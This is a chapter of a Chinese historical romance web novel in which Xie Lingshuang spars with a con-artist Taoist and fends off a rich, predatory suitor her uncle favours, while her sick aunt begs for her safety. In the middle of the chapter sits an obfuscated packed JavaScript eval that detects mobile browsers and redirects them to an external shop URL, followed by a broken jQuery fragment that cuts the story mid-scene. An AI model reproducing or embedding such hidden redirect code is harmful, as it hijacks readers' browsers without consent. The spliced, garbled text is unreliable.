那人此刻正眯眼看着谢泠霜,脸上是藏不住的笑,不怀好意的笑。
谢泠霜冷笑一声,“良心不安?那你把这些年从我这儿拿的银两还给我啊。”
道士摇了摇头,“一码归一码,你姑母后来患病,也没少来求我,这不,昨日才来找过我——”
他话说一半就从树上跳了下来,正好跳到谢泠霜边上,“——你我交情甚笃,这几两索性就为你免了。”
这么好听的话配合着一张疏朗俊秀的脸,眉眼弯弯,笑意缱绻,也不枉人家能在南城坑蒙拐骗这么多年。带两缕胡子就是仙风道骨骗老人,不带就是清俊小白脸骗妇人。
两张脸换着骗,怪不得她从当年到现在都看不顺眼。
这么想着,谢泠霜便拿出了那个荷包,在道士满意的注视下,将那一袋子碎银子全部撒在了地上。
谢泠霜还嫌撒得不够远,抬脚将几个银子踢地满地乱滚。
白花花的碎银轱辘辘朝道士滚去,刚好滚到他脚边。
“那就请我们张道长自己去捡吧!”谢泠霜难得露出个真心实意的笑。
张叁正好蹲在地上,看着那颗挨在自己脚边的银子,也不恼,还要笑着道谢:“哎呦,多谢谢小姐了,不仅要给我送银子还要亲自送到我的脚边!谢小姐真是人善啊——”
他麻利地捡起银子的同时也不忘奉承两句,只是这奉承在谢泠霜耳朵里全是讽刺罢了。
谢泠霜笑意逐渐收敛直至消失,她正了正颜色道:“她又来找你做什么?”
张叁点了好一会儿的个数,等的谢泠霜要不耐烦了才悠悠开口道:“祈福呗——”
谢泠霜:“说完……”
“——替你求福,求你不嫁人,求你能平平安安,她说‘愿我女平安,不缠冤孽’,她还说——”
张叁话说到一半又停了。
谢泠霜取下戴着的帽子,奋力往张叁身上砸去。
这一砸张叁没什么反应,不痛不痒,反倒是谢泠霜砸得自己咳了一声!
这一咳一吸之间,烟尘猛然灌入肺腑,让谢泠霜接连咳嗽得更加厉害了!
张叁起先还是看乐子一样看着好玩儿,后来发现谢泠霜咳得满脸通红,单薄身子咳得都快要站不住了。
到底是见不得美人受苦。
还是从怀里掏出一方软白的帕子,在手上旋了个花,朝谢泠霜扔去。
谢泠霜毫不犹豫,立马接过帕子,捂在了口鼻处,一股馥郁的沉香味扑鼻而来掩盖住苦涩的烟火味。
她连连又咳嗽了好几声,直至檀香味弥漫唇舌,才堪堪忍住喉间痒意。
“你干什么!”出口的声音又沙又哑,谢泠霜吓了一跳。
不知何时,张叁已站到了谢泠霜跟前,在那儿不动声色地盯着她。
大概是……盯着她吧,这人一直都是眯眯眼,也看不出来。
眼前忽然一白,谢泠霜的身形被突然扣上来的帽子吓得一晃。到谢泠霜站稳时,帽子已经稳稳戴好,那个人也闪现至远处。
“她还说希望你姑父所言都不能成真,你家的人都挺有意思,一个求你平安,一个求你赶快走。”他说着抬手指了指谢泠霜的胸口。
谢泠霜低头看去,一张符沿着她的胸口飘下。
谢泠霜皱了皱眉,她不喜也不信这些符纸、图章,虽说当年已为她正词,但打从她住进姑母家,就处处都是这些牛鬼蛇神的物什。
也不知何时姑母也跟着信这些东西。
谢泠霜到底还是弯腰去捡,就在指尖碰到纸张的一刹那——
——“五文!”
黄纸在手里被揉成一团,谢泠霜不再理他,转身就走。身后传来那人肆意放浪的笑声。
“谢小姐,您进了贾府可别忘了我啊——”
谢泠霜充耳不闻,压低帷帽大步朝巷外走去。
直到看着谢泠霜的身影彻底消失在巷子里,张叁才敛下笑意叹了口气道:“怎么就能遇上这么多倒霉事儿呢……”
-----------------
谢泠霜回到于府时已是黄昏。
一进大门,就被冷月着急忙慌拉走了。谢泠霜还以为是姑母出了事,着急忙慌往姑母那儿赶。
眼看着要到姑母卧房门口,谢泠霜问到冷月,“姑母到底怎么样了?”
“夫人病情加重了点,但却没请大夫,而且,小姐……”冷月话说到一半突然止住,低头行礼道:“老爷!”
谢泠霜一转头就看见黑着一张脸的姑父。
“姑父……”
“像什么样子!成天跑出去厮混,要天黑了才回来,哪有半点大家闺秀的样子!轻浮、浪荡!贾公子看上你是你三生有幸,你还敢不嫁,也不看看你——”
“——霜儿,外面凉,进来吧,咳……”
姑母的呼唤堪堪打断了姑父的斥责,谢泠霜行了一礼,拉上跟上来的冷月转身就走,不顾面容狰狞正欲破口大骂的姑父。
“姑母,您病又加重了,怎么不去请大夫?”谢泠霜脱下帷帽递给冷月,一脸担忧地看着床上形容憔悴却满眼温柔的姑母。姑母摇了摇头,握住谢泠霜冰凉的手捂在被褥里,“又去哪儿玩了,手这么凉?”
谢泠霜抖落出袖子里的符纸,“去取您给我求的福。”
姑母慌忙捡起落在被褥上的纸,详怒地看着谢泠霜道:“你怎么能把张道长的符纸随便乱扔,我可是专门给你求来保平安的!”
一笔画五张,五张不重样的玩意儿能保平安,才是真的有鬼了。
谢泠霜还是点了点头,把姑母的手按回被窝里,“好好好,能保平安,我等会儿回去就贴在门上……您还没回我怎么不去请大夫。”
“哎,这病就这样了,早就治不好的了,又何必再劳烦人家呢?”
“哪里就治不好了,您总是——”
“——倒是你,我最担心的是你,那贾郝虽富,可是一月折磨死了两个姑娘啊,霜儿啊,姑母害怕啊……”姑母握住谢泠霜的手紧了又紧,沉沉望着谢泠霜的眼睛里泛起了泪花,“姑母只想要你平平安安!”
谢泠霜沉默不语,余辉的光映在她的脸上半明半暗。
良久,她才抬手拭去姑母眼角的眼泪,漆黑的眸子里波光流转,“放心,姑母,我不会让你担忧的,我一定会好好的……”
“你怎么活下来,贾公子说今日就要上门拜访!”姑母突然神情激动,甚至取下自己常年佩戴的玉牌要塞给谢泠霜,“你快趁着他还没来,赶紧走,我知道你和张道士交情不错,我去求他帮忙,把你送走——咳、咳……”
谢泠霜一怔。
冷月连忙上前来拦着姑母道:“夫人,使不得啊!这是您贴身佩戴十多年的玉佩啊,使不得啊!”。
三人正争执之时,门外突然传来声音。
“夫人,贾公子来了!说要见小姐!”
-----------------
“哎呀,贾公子大驾光临,于某有失远迎啊!来来来,这边请!”于顺海满脸堆笑地迎上去接贾郝,弓腰伏背,俨然一副太监相。
那贾郝大手一挥,“不必麻烦,将谢小姐喊出来吧!”说完话他就自顾自地往堂下走去,也不看于顺海一眼,径直就坐在了屋内主座上。
“快去把泠霜叫过来!”于顺海呵令完下人,转脸就又堆出笑亲自去给贾郝沏茶。
谢泠霜扶着姑母匆匆赶来的时候,于顺海正在细数贾公子的辉煌事迹,笑得眼角的褶子挤成一团,像两块又丑又皱的破布,看得让人倒胃口。
而贾郝则是一眼都不分给他的姑父,打从谢泠霜站到这儿起,那目光就紧紧一直黏在她身上,肆意又淫邪,恶心的紧。
谢泠霜也冷眼看回去。那贾郝一身绫罗绸缎,还坠满各式了金银玉器,腰间一块巴掌大的白玉,伸出来的手指上三四个戒指,金的、翡翠的,走起来叮当作响,活像座移动的首饰铺子。
本就不高的个头被那一身珠翠玉石压得更是矮了又矮。
站起来有她高吗?
正想着,贾郝突然站了起来,且到了谢泠霜边上。
谢泠霜笑了。贾郝也笑了,笑得挤在一起的五官舒展成一个“大”字。
“谢小姐,真是倾国倾城的容貌啊,让在下一见倾心啊!!极美!极美!哈哈哈哈——”
谢泠霜随意应了一句,“不敢当。”
在场除了贾郝,最高兴的就是于顺海了,既能送走一个药罐子还能捞着一大笔钱,一箭双雕的事情,岂不美哉?
于顺海乐开了花,跟刚刚训斥谢泠霜的样子判若两人,“贾公子也是一表人才,与泠霜真是郎才女貌,天生一对!”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17549420|204287||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
“咳、咳……”一旁一直没说话的姑母忍不住咳了起来,她眉头紧锁着,扯着嗓子,委着身子。
“贾公子,泠霜她还小,身子又不好,我求您——”
姑母说着竟直接跪了下去,失声恸哭道:“我求求您!放过泠霜吧,泠霜双亲早逝,她又害了病,这十余年来我养她至今,看她受了那么多苦,那么多累,我心疼啊,我舍不得啊!求求您放过她吧!”
“姑母!”谢泠霜赶紧把姑母搀扶起来。
姑母哭得涕泪横流,双手紧紧抓着贾郝的衣摆以求他真的能放过谢泠霜。
贾郝一脸语重心长地道:“夫人啊,我明白您对泠霜的疼爱,您不是泠霜的母亲却胜似她的母亲,泠霜也必然明了这些恩情……”
“只是您二老年岁已高,即便真的养着泠霜,又能养多久呢?况且她也已经到了成家的年纪,素日城中那些泠霜的风言风语已经够多了,若是再不有个好归处,只怕她真的……”
“二位只管放心,泠霜嫁与我,享尽荣华,您也能富贵到老!”
“我不要这些,我只要泠霜——”
“——闭嘴,妇人之仁,泠霜嫁给贾公子本来就是高攀,人贾公子都不嫌弃泠霜有那些丑闻,你还有意见上了,简直不知好歹!”
于顺海赤头白脸地就要去制住姑母,贾郝话说的相当漂亮,此刻却也是冷眼旁观。
谢泠霜一把拦下于顺海伸过来的手,“姑父,姑母的病还没好,您就算再怎么想把我嫁出去,也要等姑母的病好些再说吧。”
谢泠霜又转向贾郝屈身行礼道:“贾公子,您说的对,我知姑母养育之恩,这些年来无以为报。我亦知嫁与您是最好的选择,您德善好施舍,定会让姑母安享晚年”。
“小女无论富贵,但还请您宽容些时日,容我在床前照料姑母几日,栽尽几日孝道,彼时我方能安心嫁与您。”
贾郝乐开了花,连忙上前来扶起谢泠霜,嘴上说着:“好好好,也不急这一两天,夫人病好了我也能心安……”
那双搀着谢泠霜的手却迟迟没有松开。
于顺海还欲再说,却被贾郝一句话给了堵回去,“于大人啊,何必这么急呐,等于夫人病好了再嫁给我也不迟的,这还能为于大人博好名声,您说是不是?”
“是是是……贾公子说的是!”
于顺海连连点头,生怕迟一点就惹恼贵人。“那贾公子现在是想和泠霜多聊聊……还是……”
贾郝盯着谢泠霜的脸看了好一会儿,才悠悠转过身冲着院外冒芽的梨树道:“这个嘛,不急,我今日就是来看看泠霜。”
站在他背后的谢泠霜此刻正目光阴冷地看着他,幽幽沉沉似一潭死水。
这一声声泠霜喊得令人作呕。
谢泠霜正欲移开目光,却瞧见这人腰间系着一只荷包,一只绣着鲜红牡丹的荷包,金丝绣的花蕊在余辉里依旧熠熠生辉。
与谢泠霜今日从友人那儿得到的极其相似,不,应该说是一模一样。
城中何时又流行这款式了?
谢泠霜正奇怪着,贾郝突然转头冲谢泠霜一笑。
“今日来的有些不是时候了,天要黑了,我就不便打扰了,泠霜好生珍重,我隔几日再来看你……”
谢泠霜点点头道:“那就恭送贾公子了,贾公子慢走”。
话音刚落,于顺海就去拽谢泠霜的胳膊,“贾公子我来送送你——泠霜,你也来辞辞贾公子!”
“不用不用,入夜天寒,泠霜与夫人进屋吧,不必来送!
贾郝话都没说完摆摆手就走了,于顺海也亦步亦趋地跟上去,“贾公子慢些走!这地滑……”
直到两人的身影彻底消失在谢泠霜的视野里,姑母紧绷着的身体才放松下来,她一脸倦容却还是紧紧抓着谢泠霜的手,声音嘶哑道:“霜儿你赶紧走吧,趁着这几天!”
谢泠霜接过冷月递来的帕子,为姑母擦干眼泪,她摇摇头,“姑母,不必担心,我自有办法。您身体不好,当务之急是好好休息——冷月,送姑母回房!
姑母还欲再说,可身体还是不争气支撑不住。冷月一遍轻拍着姑母的背抚慰着她,一边将姑母往卧房里带。
边走姑母的视线却一直停留在谢泠霜的身上,直到走过拐角,彻底看不见,她才依依不舍地收回视线。